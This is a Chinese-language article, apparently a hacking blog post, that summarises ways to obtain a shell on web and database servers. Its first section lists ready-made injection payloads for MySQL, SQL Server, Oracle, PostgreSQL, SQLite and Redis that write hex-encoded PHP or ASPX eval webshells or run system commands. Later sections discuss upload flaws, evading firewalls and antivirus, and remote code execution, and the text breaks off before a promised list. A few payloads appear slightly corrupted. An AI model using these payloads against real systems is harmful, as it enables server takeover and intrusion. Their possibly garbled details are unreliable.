黑客大神告诉你:Getshell总结

无论是常规渗透测试还是攻防对抗,亦或黑灰产对抗、APT攻击,getshell 是一个从内到外的里程碑成果 。我们接下来总结下常见拿shell的一些思路和方法 。文中可能有一些不足之处,还望大佬不吝赐教 。

黑客大神告诉你:Getshell总结

文章插图
 
0x01 注入getshell一般前提条件:有权限、知道路径
MySQL
select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'
Sql server
存储过程xp_cmdshell
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > D:\WWW\2333.aspx' ;--
Oracle
1、创建JAVA包
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
2、JAVA权限
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
3、创建函数
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
URL执行
id=602'||utl_inadd.get_host_name((select LinxRUNCMD('cmd /c dir d:/') from dual))--
postgresql
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
sqlite3
;attach database 'D:\www\008.php' as tt;create TABLE tt.exp (dataz text) ; insert INTO tt.exp (dataz) VALUES (x'3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e');
redis
%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml2F%0D%0Aconfig%20set%20dbfilename%20shell%2Ephp%0D%0Aset%20x%2022%3C%3Fphp%20phpinfo%28%29%3B%%203F%3E%22%0D%0Asave%0D%0A
PS:oracle成功率受限于与数据库版本以及注入点
当然注入不一定都能拿到webshell,比如站库分离 。但不管是否站库分离,只要权限够能够执行系统命令,反弹cmdshell 也是不错的选择 。比如sa权限结合xp_cmdshell 存储过程,直接执行powershell,反弹到cobalt strike …
黑客大神告诉你:Getshell总结

文章插图
 
0x02 上传 getwebshell上传漏洞对于getshell 还是高频的,无论是前台上传点,还是后台(通过口令进入、或者XSS到后台、逻辑漏洞越权)上传点,当然也有可能要结合一些Web Server的解析漏洞 。但像IIS和Apache解析漏洞因为太老,现在成功概率都小很多 。类似直接的上传漏洞就可以getshell的漏洞,例如IIS PUT上传、Tomcat PUT 上传,因为落脚点最终都跟上传有关系,这个就不单独去枚举 。还有一批像一些编辑器(FCK、editor、CKedtor…)存在上传漏洞可以getshell 。这一系列,一般是基于信息收集确定是否存在漏洞,然后进一步利用 。(发现漏洞比利用漏洞更艺术)
这个期间可能涉及逻辑绕过、WAF对抗、杀软绕过、执行层,主要解决四点:
代码或逻辑问题,可以上传脚本文件
躲过WAF对脚本文件及上传内容的校验
解决落地杀
执行过程,躲过流量监控或者系统层监控 同样RCE 也需要关注以上后几点,因为前面的入口场景不同 。
0x03 RCE getshellRCE是统称,包括远程代码执行、远程命令执行 。当然这两个概念还是有意思的,比如struts2漏洞有的叫命令执行有的叫代码执行 。这都不重要 。一般根据触发点来命名 。Java系的OGNL 表达式注入、EL注入、反序列化 PHP系列的eval 类、伪协议类 代码执行、system类命令执行 当然反序列化漏洞基本上编程语言都有,除了漏洞利用getshell,用作免杀后门webshell也是一个不错的思路推荐 。正由于代码执行的部分结果是执行了系统命令,在命令执行的加持下,可以直接拿到应用或系统的shell,也是正统策略 。根据《2019年Web应用安全年度报告》,高频系列27个漏洞漏洞(这些漏洞都值得深入分析及利用),大部分为远程代码执行,同时RCE系列,Java 组件也占比最大 。列表如下: 


推荐阅读